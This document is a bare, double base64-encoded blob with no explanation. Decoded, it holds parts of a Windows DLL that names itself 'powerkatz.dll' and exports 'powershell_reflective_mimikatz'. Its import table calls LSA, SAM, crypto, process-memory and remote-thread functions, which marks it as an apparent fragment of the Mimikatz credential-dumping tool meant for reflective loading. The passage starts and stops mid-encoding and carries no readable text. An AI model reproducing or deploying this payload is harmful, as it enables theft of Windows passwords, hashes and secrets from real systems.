A3Ly8vOEFBQUFBMVAvLy93QUFBQUQrLy8vL0FBQUFBQXd0QWhBQUFBQUEvdi8vL3dBQUFBREUvLy8vQUFBQUFQNy8vLzhBQUFBQXRTd0NFQUFBQUFBQUFBQUFpQ3dDRVA3Ly8vOEFBQUFBMFAvLy93QUFBQUQrLy8vL0FBQUFBQU11QWhBQUFBQUEvdi8vL3dBQUFBRFEvLy8vQUFBQUFQNy8vLzhBQUFBQTJpOENFQUFBQUFEay8vLy9BQUFBQU5ULy8vOEFBQUFBL3YvLy93QUFBQURNdndJUUFBQUFBTFMvQWhERXZ3SVEvdi8vL3dBQUFBRFUvLy8vQUFBQUFQNy8vLzhBQUFBQVZNTUNFQUFBQUFEKy8vLy9BQUFBQU5ULy8vOEFBQUFBL3YvLy93QUFBQUNsd3dJUUFBQUFBT1QvLy84QUFBQUExUC8vL3dBQUFBRCsvLy8vcnNnQ0VMTElBaEFBQUFBQS92Ly8vd0FBQUFEWS8vLy9BQUFBQVA3Ly8vOEFBQUFBd05VQ0VBQUFBQUQrLy8vL0FBQUFBTmovLy84QUFBQUEvdi8vL3dBQUFBRE0xQUlRQUFBQUFQNy8vLzhBQUFBQTJQLy8vd0FBQUFEKy8vLy9BQUFBQUMzVkFoQUFBQUFBL3YvLy93QUFBQURZLy8vL0FBQUFBUDcvLy84QUFBQUFlTlVDRUFBQUFBRCsvLy8vQUFBQUFOai8vLzhBQUFBQS92Ly8vd0FBQUFDODVnSVFBQUFBQVA3Ly8vOEFBQUFBMVAvLy93QUFBQUQrLy8vL0FBQUFBSHZvQWhBQUFBQUEvdi8vL3dBQUFBRFEvLy8vQUFBQUFQNy8vLzhBQUFBQXJ1NENFQUFBQUFEKy8vLy9BQUFBQU5ULy8vOEFBQUFBL3YvLy93QUFBQUFlOEFJUUFBQUFBUDcvLy84QUFBQUF6UC8vL3dBQUFBRCsvLy8vQUFBQUFCRDNBaEFBQUFBQS92Ly8vd0FBQUFEVS8vLy9BQUFBQVA3Ly8vOEFBQUFBdnZrQ0VBQUFBQUQrLy8vL0FBQUFBTlQvLy84QUFBQUEvdi8vL3dBQUFBQmord0lRQUFBQUFQNy8vLzhBQUFBQXhQLy8vd0FBQUFEKy8vLy9BQUFBQUpUL0FoQUFBQUFBL3YvLy93QUFBQURNLy8vL0FBQUFBUDcvLy84QUFBQUFxUDBDRUFBQUFBRCsvLy8vQUFBQUFOVC8vLzhBQUFBQS92Ly8vd0FBQUFCS0N3TVFBQUFBQVA3Ly8vOEFBQUFBMlAvLy93QUFBQUQrLy8vL0FBQUFBUHNGQXhBQUFBQUEvdi8vL3dBQUFBRFUvLy8vQUFBQUFQNy8vLzhBQUFBQUNoQURFQUFBQUFEay8vLy9BQUFBQUxULy8vOEFBQUFBL3YvLy93QUFBQUFPRXdNUUFBQUFBUDcvLy84QUFBQUExUC8vL3dBQUFBRCsvLy8vQUFBQUFHRVFBeEFBQUFBQS92Ly8vd0FBQUFEVS8vLy9BQUFBQVA3Ly8vOEFBQUFBenhrREVBQUFBQUQrLy8vL0FBQUFBTVQvLy84QUFBQUEvdi8vL3dBQUFBQTdPUU1RQUFBQUFQNy8vLzhBQUFBQTBQLy8vd0FBQUFEKy8vLy9BQUFBQUlJN0F4QUFBQUFBL3YvLy93QUFBQURZLy8vL0FBQUFBUDcvLy84SmNRTVFISEVERUFBQUFBRCsvLy8vQUFBQUFLai8vLzhBQUFBQS92Ly8vK3VlQXhEK25nTVFBQUFBQUFBQUFBRGtkRzlXQUFBQUFETGZCUUFCQUFBQUFRQUFBQUVBQUFBbzN3VUFMTjhGQUREZkJRQW1wZ0FBUU44RkFBQUFjRzkzWlhKcllYUjZMbVJzYkFCd2IzZGxjbk5vWld4c1gzSmxabXhsWTNScGRtVmZiV2x0YVd0aGRIb0FBSXpnQlFBQUFBQUFBQUFBQU9qcUJRQUFzQU1Bd09FRkFBQUFBQUFBQUFBQWp1d0ZBRFN4QXdDTTVBVUFBQUFBQUFBQUFBRDY3QVVBQUxRREFNampCUUFBQUFBQUFBQUFBQ3p0QlFBOHN3TUExT01GQUFBQUFBQUFBQUFBQU80RkFFaXpBd0JRNUFVQUFBQUFBQUFBQUFCQzdnVUF4TE1EQVBqakJRQUFBQUFBQUFBQUFJRHZCUUJzc3dNQVlPUUZBQUFBQUFBQUFBQUFSUEFGQU5TekF3Qkk1QVVBQUFBQUFBQUFBQUJtOEFVQXZMTURBSURrQlFBQUFBQUFBQUFBQUp6d0JRRDBzd01BQU9JRkFBQUFBQUFBQUFBQUV2RUZBSFN4QXdBMDVBVUFBQUFBQUFBQUFBQ1U4UVVBcUxNREFLamtCUUFBQUFBQUFBQUFBSzd6QlFBY3RBTUFHT0lGQUFBQUFBQUFBQUFBcHZnRkFJeXhBd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFUbEJRQWE1UVVBS09VRkFEemxCUUJRNVFVQVl1VUZBSGJsQlFDSzVRVUFudVVGQUs3bEJRREE1UVVBMHVVRkFPTGxCUUQyNVFVQUN1WUZBQnJtQlFBeTVnVUFSdVlGQUY3bUJRQnc1Z1VBZ09ZRkFJcm1CUUNXNWdVQXB1WUZBTUxtQlFEWTVnVUE4T1lGQUFybkJRQWU1d1VBTHVjRkFEN25CUUJRNXdVQVlPY0ZBSFRuQlFDQzV3VUFsdWNGQUs3bkJRQys1d1VBenVjRkFPRG5CUUR3NXdVQUF1Z0ZBQmpvQlFBeTZBVUFST2dGQUZUb0JRQnE2QVVBZnVnRkFKTG9CUUNzNkFVQXdPZ0ZBTmJvQlFEbzZBVUErT2dGQUFycEJRQW82UVVBUnVrRkFHTHBCUUJzNlFVQWlPa0ZBS1RwQlFDMjZRVUF5dWtGQU9UcEJRQUc2Z1VBR3VvRkFERHFCUUJLNmdVQWF1b0ZBSHJxQlFDTTZnVUFvT29GQUxqcUJRREs2Z1VBMXVvRkFMVDRCUUFBQUFBQURPc0ZBQ1RyQlFBNDZ3VUFYT3NGQUlEckJRQ2U2d1VBdE9zRkFOanJCUUQyNndVQUNPd0ZBQ0RzQlFCRTdBVUFXdXdGQUdyc0JRRDI2Z1VBQUFBQUFPendCUURVOEFVQXV2QUZBS2p3QlFEODhBVUFBQUFBQUU3N0JRQkMrd1VBTXZzRkFCNzdCUUFNK3dVQTh2b0ZBTmo2QlFETStnVUF3UG9GQUs3NkJRQ2MrZ1VBalBvRkFIcjZCUUI4K3dVQVd2b0ZBRXo2QlFCQytnVUFOdm9GQUNyNkJRQVUrZ1VBL3ZrRkFPajVCUURhK1FVQXlQa0ZBTGI1QlFDZStRVUFodmtGQUc3NUJRQmkrUVVBVVBrRkFFYjVCUUE0K1FVQUt2a0ZBQjc1QlFEMitBVUEzdmdGQUZ6N0JRQnMrd1VBeVBnRkFJejdCUUJxK2dVQWt2Z0ZBSGI0QlFCaytBVUFSdmdGQUNyNEJRQVcrQVVBQVBnRkFPcjNCUURROXdVQXV2Y0ZBS2IzQlFDVTl3VUFlUGNGQUdEM0JRQkM5d1VBTXZjRkFCVDNCUUFBOXdVQTh2WUZBT0QyQlFEUTlnVUF0dllGQUtEMkJRQ1U5Z1VBdVBNRkFNYnpCUURlOHdVQTZ2TUZBUGJ6QlFBQzlBVUFFUFFGQUJqMEJRQW85QVVBT3ZRRkFFajBCUUJZOUFVQWFQUUZBSUQwQlFDVTlBVUFxUFFGQUxyMEJRREk5QVVBMnZRRkFQRDBCUUFDOVFVQUVQVUZBQ0QxQlFBeTlRVUFSdlVGQUZqMUJRQnM5UVVBZlBVRkFJejFCUUNlOVFVQXNQVUZBTWIxQlFEVzlRVUE1dlVGQVBqMUJRQUk5Z1VBSHZZRkFEVDJCUUJPOWdVQVlQWUZBSEwyQlFDRTlnVUFBQUFBQUFqdEJRQVk3UVVBQUFBQUFIRHRCUUE2N1FVQVVPMEZBSXp0QlFDbzdRVUF1dTBGQU16dEJRRHU3UVVBQUFBQUFDYnZCUUEwN3dVQVRPOEZBR3J2QlFCTzdnVUFhdTRGQUlUdUJRQ1U3Z1VBb3U0RkFMcnVCUURxN2dVQTJ1NEZBTWp1QlFBRTd3VUFBQUFBQUhEeEJRQlk4UVVBR3ZFRkFEcnhCUUFBQUFBQVVQQUZBQUFBQUFBTTdnVUFNTzRGQUJ6dUJRQUFBQUFBME84RkFJenZCUURzN3dVQURQQUZBS0R2QlFBdThBVUF1dThGQUFBQUFBQnk4QVVBaVBBRkFBQUFBQUNrN0FVQXNPd0ZBTHpzQlFETzdBVUE1dXdGQUpyc0JRQUFBQUFBU3ZJRkFHYnlCUUNDOGdVQWx2SUZBS3p5QlFBNjhnVUExUElGQU83eUJRQVE4d1VBS3ZNRkFFcnpCUUJjOHdVQWN2TUZBSWp6QlFDYzh3VUFJdklGQUFyeUJRRHU4UVVBMXZFRkFMYnhCUUNpOFFVQXdQSUZBQUFBQUFETEFFTnllWEIwVW1Wc1pXRnpaVU52Ym5SbGVIUUF3QUJEY25sd2RFZGxia3RsZVFER0FFTnllWEIwUjJWMFVISnZkbEJoY21GdEFNUUFRM0o1Y0hSSFpYUklZWE5vVUdGeVlXMEF5Z0JEY25sd2RFbHRjRzl5ZEV0bGVRQUF6UUJEY25sd2RGTmxkRXRsZVZCaGNtRnRBQUMyQUVOeWVYQjBSR1Z6ZEhKdmVVaGhjMmdBQU13QVEzSjVjSFJUWlhSSVlYTm9VR0Z5WVcwQXlBQkRjbmx3ZEVoaGMyaEVZWFJoQUxNQVEzSjVjSFJEY21WaGRHVklZWE5vQUw4QVEzSjVjSFJGZUhCdmNuUkxaWGtBQUxRQVEzSjVjSFJFWldOeWVYQjBBQURVQWxONWMzUmxiVVoxYm1OMGFXOXVNREEzQUxrQVEzSjVjSFJFZFhCc2FXTmhkR1ZMWlhrQXVnQkRjbmx3ZEVWdVkzSjVjSFFBQUxFQVEzSjVjSFJCWTNGMWFYSmxRMjl1ZEdWNGRGY0FBTVVBUTNKNWNIUkhaWFJMWlhsUVlYSmhiUUFBc0FCRGNubHdkRUZqY1hWcGNtVkRiMjUwWlhoMFFRQUF0d0JEY25sd2RFUmxjM1J5YjNsTFpYa0FOZ0ZIWlhSTVpXNW5kR2hUYVdRQUFIWUFRMjl3ZVZOcFpBQ2RBVXh6WVVOc2IzTmxBQUM5QVV4ellVOXdaVzVRYjJ4cFkza0F4UUZNYzJGUmRXVnllVWx1Wm05eWJXRjBhVzl1VUc5c2FXTjVBSU1BUTNKbFlYUmxWMlZzYkV0dWIzZHVVMmxrQUFCOEFFTnlaV0YwWlZCeWIyTmxjM05CYzFWelpYSlhBQUI5QUVOeVpXRjBaVkJ5YjJObGMzTlhhWFJvVEc5bmIyNVhBRzRDVW1WblVYVmxjbmxXWVd4MVpVVjRWd0FBVWdKU1pXZEZiblZ0Vm1Gc2RXVlhBR0VDVW1WblQzQmxia3RsZVVWNFZ3QitBbEpsWjFObGRGWmhiSFZsUlhoWEFBQlBBbEpsWjBWdWRXMUxaWGxGZUZjQWFBSlNaV2RSZFdWeWVVbHVabTlMWlhsWEFBQXdBbEpsWjBOc2IzTmxTMlY1QU8wQ1UzbHpkR1Z0Um5WdVkzUnBiMjR3TXpJQUtRSlJkV1Z5ZVZObGNuWnBZMlZUZEdGMGRYTkZlQUFBK3dGUGNHVnVVMlZ5ZG1salpWY0FBTWtDVTNSaGNuUlRaWEoyYVdObFZ3QmNBRU52Ym5SeWIyeFRaWEoyYVdObEFBRGFBRVJsYkdWMFpWTmxjblpwWTJVQStRRlBjR1Z1VTBOTllXNWhaMlZ5VndBQVZ3QkRiRzl6WlZObGNuWnBZMlZJWVc1a2JHVUFBR3dBUTI5dWRtVnlkRk5wWkZSdlUzUnlhVzVuVTJsa1Z3QUF3UUJEY25sd2RFZGxibEpoYm1SdmJRQUFnQUZKYzFSbGVIUlZibWxqYjJSbEFGb0JSMlYwVkc5clpXNUpibVp2Y20xaGRHbHZiZ0NSQVV4dmIydDFjRUZqWTI5MWJuUlRhV1JYQVBjQlQzQmxibEJ5YjJObGMzTlViMnRsYmdBQWRBQkRiMjUyWlhKMFUzUnlhVzVuVTJsa1ZHOVRhV1JYQUFEVEFsTjVjM1JsYlVaMWJtTjBhVzl1TURBMkFMNEFRM0o1Y0hSRmJuVnRVSEp2ZG1sa1pYSnpWd0RIQUVOeWVYQjBSMlYwVlhObGNrdGxlUUQyQVU5d1pXNUZkbVZ1ZEV4dloxY0FVd0JEYkdWaGNrVjJaVzUwVEc5blZ3QUFRd0ZIWlhST2RXMWlaWEpQWmtWMlpXNTBURzluVW1WamIzSmtjd0FBSndKUmRXVnllVk5sY25acFkyVlBZbXBsWTNSVFpXTjFjbWwwZVFBQVF3QkNkV2xzWkZObFkzVnlhWFI1UkdWelkzSnBjSFJ2Y2xjQUFDQUJSbkpsWlZOcFpBQy9BbE5sZEZObGNuWnBZMlZQWW1wbFkzUlRaV04xY21sMGVRQUFJQUJCYkd4dlkyRjBaVUZ1WkVsdWFYUnBZV3hwZW1WVGFXUUFBSUVBUTNKbFlYUmxVMlZ5ZG1salpWY0FBT1lDVTNsemRHVnRSblZ1WTNScGIyNHdNalVBekFGTWMyRlNaWFJ5YVdWMlpWQnlhWFpoZEdWRVlYUmhBQURKQVV4ellWRjFaWEo1VkhKMWMzUmxaRVJ2YldGcGJrbHVabTlDZVU1aGJXVUEwZ0pUZVhOMFpXMUdkVzVqZEdsdmJqQXdOUUJYQVVkbGRGTnBaRk4xWWtGMWRHaHZjbWwwZVFBQVdBRkhaWFJUYVdSVGRXSkJkWFJvYjNKcGRIbERiM1Z1ZEFDcUFVeHpZVVZ1ZFcxbGNtRjBaVlJ5ZFhOMFpXUkViMjFoYVc1elJYZ0FBS3NCVEhOaFJuSmxaVTFsYlc5eWVRRDhBVTl3Wlc1VWFISmxZV1JVYjJ0bGJnRGZBRVIxY0d4cFkyRjBaVlJ2YTJWdVJYZ0FBRkVBUTJobFkydFViMnRsYmsxbGJXSmxjbk5vYVhBQUFNRUNVMlYwVkdoeVpXRmtWRzlyWlc0QUFJd0FRM0psWkVaeVpXVUFBSWtBUTNKbFpFVnVkVzFsY21GMFpWY0FBRUZFVmtGUVNUTXlMbVJzYkFBQTJ3QkRjbmx3ZEZWdWNISnZkR1ZqZEVSaGRHRUFBSDBBUTNKNWNIUkNhVzVoY25sVWIxTjBjbWx1WjFjQUFMMEFRM0o1Y0hSUWNtOTBaV04wUkdGMFlRQUFlZ0JEY25sd2RFRmpjWFZwY21WRFpYSjBhV1pwWTJGMFpWQnlhWFpoZEdWTFpYa0FDQUJEWlhKMFFXUmtSVzVqYjJSbFpFTmxjblJwWm1sallYUmxWRzlUZEc5eVpRQUFRQUJEWlhKMFJuSmxaVU5sY25ScFptbGpZWFJsUTI5dWRHVjRkQUFBTHdCRFpYSjBSVzUxYlZONWMzUmxiVk4wYjNKbEFBUUFRMlZ5ZEVGa1pFTmxjblJwWm1sallYUmxRMjl1ZEdWNGRGUnZVM1J2Y21VQUFDd0FRMlZ5ZEVWdWRXMURaWEowYVdacFkyRjBaWE5KYmxOMGIzSmxBQklBUTJWeWRFTnNiM05sVTNSdmNtVUFBQllCVUVaWVJYaHdiM0owUTJWeWRGTjBiM0psUlhnQUFHb0FRMlZ5ZEZObGRFTmxjblJwWm1sallYUmxRMjl1ZEdWNGRGQnliM0JsY25SNUFFc0FRMlZ5ZEVkbGRFNWhiV1ZUZEhKcGJtZFhBQUJYQUVObGNuUlBjR1Z1VTNSdmNtVUFSZ0JEWlhKMFIyVjBRMlZ5ZEdsbWFXTmhkR1ZEYjI1MFpYaDBVSEp2Y0dWeWRIa0FRMUpaVUZRek1pNWtiR3dBREFCTlJEVkpibWwwQUEwQVRVUTFWWEJrWVhSbEFBc0FUVVExUm1sdVlXd0FBQVVBUTBSTWIyTmhkR1ZEVTNsemRHVnRBQVFBUTBSSFpXNWxjbUYwWlZKaGJtUnZiVUpwZEhNQUFBWUFRMFJNYjJOaGRHVkRhR1ZqYTFOMWJRQUFZM0o1Y0hSa2JHd3VaR3hzQUFBUUFFUnpSMlYwUkdOT1lXMWxWd0FBWlFCT1pYUkJjR2xDZFdabVpYSkdjbVZsQUFCT1JWUkJVRWt6TWk1a2JHd0FBSEVCVW5CalFtbHVaR2x1WjFObGRFOXdkR2x2YmdCZkFWSndZMEpwYm1ScGJtZEdjbTl0VTNSeWFXNW5RbWx1WkdsdVoxY0FBTzRCVW5CalUzUnlhVzVuUW1sdVpHbHVaME52YlhCdmMyVlhBQUJ1QVZKd1kwSnBibVJwYm1kVFpYUkJkWFJvU1c1bWIwVjRWd0FBOGdGU2NHTlRkSEpwYm1kR2NtVmxWd0FBWFFGU2NHTkNhVzVrYVc1blJuSmxaUUFBSUFCSlgxSndZMEpwYm1ScGJtZEpibkZUWldOMWNtbDBlVU52Ym5SbGVIUUFBSlVBVG1SeVEyeHBaVzUwUTJGc2JESUFBRkpRUTFKVU5DNWtiR3dBQURvQVVHRjBhRU52YldKcGJtVlhBQUE0QUZCaGRHaERZVzV2Ym1sallXeHBlbVZYQUdVQVVHRjBhRWx6VW1Wc1lYUnBkbVZYQUZOSVRGZEJVRWt1Wkd4c0FCTUFVMkZ0Ulc1MWJXVnlZWFJsVlhObGNuTkpia1J2YldGcGJnQWRBRk5oYlV4dmIydDFjRTVoYldWelNXNUViMjFoYVc0QUFCOEFVMkZ0VDNCbGJrUnZiV0ZwYmdBaEFGTmhiVTl3Wlc1VmMyVnlBQndBVTJGdFRHOXZhM1Z3U1dSelNXNUViMjFoYVc0QUFBY0FVMkZ0UTI5dWJtVmpkQUFBQmdCVFlXMURiRzl6WlVoaGJtUnNaUUFBRkFCVFlXMUdjbVZsVFdWdGIzSjVBQ1lBVTJGdFVYVmxjbmxKYm1admNtMWhkR2x2YmxWelpYSUFFUUJUWVcxRmJuVnRaWEpoZEdWRWIyMWhhVzV6U1c1VFlXMVRaWEoyWlhJQUFDd0FVMkZ0VW1sa1ZHOVRhV1FBRlFCVFlXMUhaWFJCYkdsaGMwMWxiV0psY25Ob2FYQUFHd0JUWVcxTWIyOXJkWEJFYjIxaGFXNUpibE5oYlZObGNuWmxjZ0FBR0FCVFlXMUhaWFJIY205MWNITkdiM0pWYzJWeUFGTkJUVXhKUWk1a2JHd0FBQmdBUm5KbFpVTnZiblJsZUhSQ2RXWm1aWElBTkFCUmRXVnllVU52Ym5SbGVIUkJkSFJ5YVdKMWRHVnpWd0FuQUV4ellVTnZibTVsWTNSVmJuUnlkWE4wWldRQUtBQk1jMkZFWlhKbFoybHpkR1Z5VEc5bmIyNVFjbTlqWlhOekFDWUFUSE5oUTJGc2JFRjFkR2hsYm5ScFkyRjBhVzl1VUdGamEyRm5aUUFBTFFCTWMyRk1iMjlyZFhCQmRYUm9aVzUwYVdOaGRHbHZibEJoWTJ0aFoyVUFBQ29BVEhOaFJuSmxaVkpsZEhWeWJrSjFabVpsY2dCVFpXTjFjak15TG1Sc2JBQUdBRU52YlcxaGJtUk1hVzVsVkc5QmNtZDJWd0FBVTBoRlRFd3pNaTVrYkd3QXd3RkpjME5vWVhKQmJIQm9ZVTUxYldWeWFXTlhBRDRCUjJWMFMyVjVZbTloY21STVlYbHZkWFFBVlZORlVqTXlMbVJzYkFBQUJRQklhV1JFWDBkbGRFaHBaRWQxYVdRQUFRQklhV1JFWDBaeVpXVlFjbVZ3WVhKelpXUkVZWFJoQUFBTUFFaHBaRVJmUjJWMFVISmxjR0Z5YzJWa1JHRjBZUUFWQUVocFpGQmZSMlYwUTJGd2N3QUFBZ0JJYVdSRVgwZGxkRUYwZEhKcFluVjBaWE1BQUVoSlJDNUVURXdBUHdGVFpYUjFjRVJwUkdWemRISnZlVVJsZG1salpVbHVabTlNYVhOMEFBQkRBVk5sZEhWd1JHbEZiblZ0UkdWMmFXTmxTVzUwWlhKbVlXTmxjd0JXQVZObGRIVndSR2xIWlhSRGJHRnpjMFJsZG5OWEFBQnVBVk5sZEhWd1JHbEhaWFJFWlhacFkyVkpiblJsY21aaFkyVkVaWFJoYVd4WEFBQlRSVlJWVUVGUVNTNWtiR3dBQUEwQVVuUnNSbkpsWlVGdWMybFRkSEpwYm1jQUZ3QlNkR3hWYm1samIyUmxVM1J5YVc1blZHOUJibk5wVTNSeWFXNW5BQUFPQUZKMGJFWnlaV1ZWYm1samIyUmxVM1J5YVc1bkFBQUtBRkowYkVSdmQyNWpZWE5sVlc1cFkyOWtaVk4wY21sdVp3QUFEQUJTZEd4RmNYVmhiRlZ1YVdOdlpHVlRkSEpwYm1jQUV3QlNkR3hKYm1sMFZXNXBZMjlrWlZOMGNtbHVad0FBQVFCT2RGRjFaWEo1VDJKcVpXTjBBQUlBVG5SUmRXVnllVk41YzNSbGJVbHVabTl5YldGMGFXOXVBQUFBQUU1MFVYVmxjbmxKYm1admNtMWhkR2x2YmxCeWIyTmxjM01BRUFCU2RHeEhaWFJEZFhKeVpXNTBVR1ZpQUFBSkFGSjBiRU55WldGMFpWVnpaWEpVYUhKbFlXUUFEd0JTZEd4SFZVbEVSbkp2YlZOMGNtbHVad0FXQUZKMGJGTjBjbWx1WjBaeWIyMUhWVWxFQUJFQVVuUnNSMlYwVG5SV1pYSnphVzl1VG5WdFltVnljd0FBQ0FCU2RHeEJjSEJsYm1SVmJtbGpiMlJsVTNSeWFXNW5WRzlUZEhKcGJtY0FBQmtBVW5Sc1ZYQmpZWE5sVlc1cFkyOWtaVk4wY21sdVp3QUFCd0JTZEd4QmJuTnBVM1J5YVc1blZHOVZibWxqYjJSbFUzUnlhVzVuQUFBREFFNTBVbVZ6ZFcxbFVISnZZMlZ6Y3dBR0FGSjBiRUZrYW5WemRGQnlhWFpwYkdWblpRQUFCUUJPZEZSbGNtMXBibUYwWlZCeWIyTmxjM01BQUFRQVRuUlRkWE53Wlc1a1VISnZZMlZ6Y3dBQUN3QlNkR3hGY1hWaGJGTjBjbWx1WndBQWJuUmtiR3d1Wkd4c0FFUURURzlqWVd4QmJHeHZZd0FBSlFGR2FXeGxWR2x0WlZSdlUzbHpkR1Z0VkdsdFpRQUFTQU5NYjJOaGJFWnlaV1VBd0FOU1pXRmtSbWxzWlFBQUpRVlhjbWwwWlVacGJHVUFqd0JEY21WaGRHVkdhV3hsVndDeUJGTnNaV1Z3QUFJQ1IyVjBUR0Z6ZEVWeWNtOXlBQURCQkZSbGNtMXBibUYwWlZSb2NtVmhaQUJTQUVOc2IzTmxTR0Z1Wkd4bEFMVUFRM0psWVhSbFZHaHlaV0ZrQUFEeEFVZGxkRVpwYkdWVGFYcGxSWGdBdndGSFpYUkRkWEp5Wlc1MFJHbHlaV04wYjNKNVZ3QUFWd0ZHYkhWemFFWnBiR1ZDZFdabVpYSnpBQURBQVVkbGRFTjFjbkpsYm5SUWNtOWpaWE56QU9nQVJIVndiR2xqWVhSbFNHRnVaR3hsQUlBRFQzQmxibEJ5YjJObGMzTUEzUUJFWlhacFkyVkpiME52Ym5SeWIyd0FMZ1ZYY21sMFpWQnliMk5sYzNOTlpXMXZjbmtBQU84RVZtbHlkSFZoYkZCeWIzUmxZM1FBQU93RVZtbHlkSFZoYkVaeVpXVUE2UVJXYVhKMGRXRnNRV3hzYjJNQUFHWUVVMlYwUm1sc1pWQnZhVzUwWlhJQUFQQUVWbWx5ZEhWaGJGQnliM1JsWTNSRmVBQUE2Z1JXYVhKMGRXRnNRV3hzYjJORmVBQUF3d05TWldGa1VISnZZMlZ6YzAxbGJXOXllUUR0QkZacGNuUjFZV3hHY21WbFJYZ0E4UVJXYVhKMGRXRnNVWFZsY25rQUFQSUVWbWx5ZEhWaGJGRjFaWEo1UlhnQUFOWUVWVzV0WVhCV2FXVjNUMlpHYVd4bEFJd0FRM0psWVhSbFJtbHNaVTFoY0hCcGJtZFhBQUJYQTAxaGNGWnBaWGRQWmtacGJHVUFTd05NYjJOaGJGSmxRV3hzYjJNQUFLZ0FRM0psWVhSbFVISnZZMlZ6YzFjQUFITUVVMlYwVEdGemRFVnljbTl5QUFENUJGZGhhWFJHYjNKVGFXNW5iR1ZQWW1wbFkzUUFxUUJEY21WaGRHVlNaVzF2ZEdWVWFISmxZV1FBQUNRQlJtbHNaVlJwYldWVWIweHZZMkZzUm1sc1pWUnBiV1VBbHdKSFpYUlVhVzFsUm05eWJXRjBWd0FBeUFGSFpYUkVZWFJsUm05eWJXRjBWd0FBT1FGR2FXNWtSbWx5YzNSR2FXeGxWd0FBUlFGR2FXNWtUbVY0ZEVacGJHVlhBQzRCUm1sdVpFTnNiM05sQU9vQlIyVjBSbWxzWlVGMGRISnBZblYwWlhOWEFBQjVBa2RsZEZONWMzUmxiVlJwYldWQmMwWnBiR1ZVYVcxbEFEOERURzloWkV4cFluSmhjbmxYQUFCRkFrZGxkRkJ5YjJOQlpHUnlaWE56QUFCaUFVWnlaV1ZNYVdKeVlYSjVBQmdDUjJWMFRXOWtkV3hsU0dGdVpHeGxWd0FBc2dGSFpYUkRiMjV6YjJ4bFUyTnlaV1Z1UW5WbVptVnlTVzVtYndBQVpBSkhaWFJUZEdSSVlXNWtiR1VBQUNnQlJtbHNiRU52Ym5OdmJHVlBkWFJ3ZFhSRGFHRnlZV04wWlhKWEFFMEVVMlYwUTNWeWNtVnVkRVJwY21WamRHOXllVmNBQURFRVUyVjBRMjl1YzI5c1pVTjFjbk52Y2xCdmMybDBhVzl1QUFBT0EwbHpWMjkzTmpSUWNtOWpaWE56QUFERUFVZGxkRU4xY25KbGJuUlVhSEpsWVdRQUFNRUJSMlYwUTNWeWNtVnVkRkJ5YjJObGMzTkpaQUNuQTFGMVpYSjVVR1Z5Wm05eWJXRnVZMlZEYjNWdWRHVnlBTVVCUjJWMFEzVnljbVZ1ZEZSb2NtVmhaRWxrQUFEbkFrbHVhWFJwWVd4cGVtVlRUR2x6ZEVobFlXUUFBQU5KYzBSbFluVm5aMlZ5VUhKbGMyVnVkQURUQkZWdWFHRnVaR3hsWkVWNFkyVndkR2x2YmtacGJIUmxjZ0FBcFFSVFpYUlZibWhoYm1Sc1pXUkZlR05sY0hScGIyNUdhV3gwWlhJQVl3SkhaWFJUZEdGeWRIVndTVzVtYjFjQUJBTkpjMUJ5YjJObGMzTnZja1psWVhSMWNtVlFjbVZ6Wlc1MEFNQUVWR1Z5YldsdVlYUmxVSEp2WTJWemN3QUFTMFZTVGtWTU16SXVaR3hzQUFEeEFsTjVjM1JsYlVaMWJtTjBhVzl1TURNMkFCUUNSMlYwVFc5a2RXeGxSbWxzWlU1aGJXVlhBQUR1QWtsdWRHVnliRzlqYTJWa1JteDFjMmhUVEdsemRBRGpBa2x1YVhScFlXeHBlbVZEY21sMGFXTmhiRk5sWTNScGIyNUJibVJUY0dsdVEyOTFiblFBeFFSVWJITkJiR3h2WXdBQXh3UlViSE5IWlhSV1lXeDFaUURJQkZSc2MxTmxkRlpoYkhWbEFNWUVWR3h6Um5KbFpRQStBMHh2WVdSTWFXSnlZWEo1UlhoWEFBQVlCRkowYkZWdWQybHVaQUR1QUVWdWRHVnlRM0pwZEdsallXeFRaV04wYVc5dUFBQTVBMHhsWVhabFEzSnBkR2xqWVd4VFpXTjBhVzl1QUFEUkFFUmxiR1YwWlVOeWFYUnBZMkZzVTJWamRHbHZiZ0NHQVVkbGRFTnZiVzFoYm1STWFXNWxRUUNIQVVkbGRFTnZiVzFoYm1STWFXNWxWd0FaQVVWNGFYUlFjbTlqWlhOekFCY0NSMlYwVFc5a2RXeGxTR0Z1Wkd4bFJYaFhBQUJuQTAxMWJIUnBRbmwwWlZSdlYybGtaVU5vWVhJQUVRVlhhV1JsUTJoaGNsUnZUWFZzZEdsQ2VYUmxBTThDU0dWaGNFWnlaV1VBQU1zQ1NHVmhjRUZzYkc5akFHZ0JSMlYwUVVOUUFBRHpBVWRsZEVacGJHVlVlWEJsQUMwRFRFTk5ZWEJUZEhKcGJtZFhBQUNhQVVkbGRFTnZibk52YkdWRFVBQUFyQUZIWlhSRGIyNXpiMnhsVFc5a1pRQUFod1JUWlhSVGRHUklZVzVrYkdVQUFHa0NSMlYwVTNSeWFXNW5WSGx3WlZjQUFBb0RTWE5XWVd4cFpFTnZaR1ZRWVdkbEFEY0NSMlYwVDBWTlExQUFBSElCUjJWMFExQkpibVp2QU5vQlIyVjBSVzUyYVhKdmJtMWxiblJUZEhKcGJtZHpWd0FBWVFGR2NtVmxSVzUyYVhKdmJtMWxiblJUZEhKcGJtZHpWd0JLQWtkbGRGQnliMk5sYzNOSVpXRndBQUJuQkZObGRFWnBiR1ZRYjJsdWRHVnlSWGdBQUNRRlYzSnBkR1ZEYjI1emIyeGxWd0RVQWtobFlYQlRhWHBsQUFEU0FraGxZWEJTWlVGc2JHOWpBRk1FVTJWMFJXNWtUMlpHYVd4bEFBQytBMUpsWVdSRGIyNXpiMnhsVndBQXlnQkVaV052WkdWUWIybHVkR1Z5QUxFRFVtRnBjMlZGZUdObGNIUnBiMjRBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBLy8vLy93QUFBQUFBQUFBQUFBQUFBQUVBQUFDeEdiOUVUdVpBdXdBQUFBQUFBQUFBT05jRkVBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUt1UTdGNGl3TEpFcGQzOWNXb2lLaFVBQUFBQUFBQUFBSGpvQVJBQUFBQUEvLy8vL3dBQUFBQUFBQUFBQUFBQUFDQUZreGtBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUJJQUFBQUFBQUF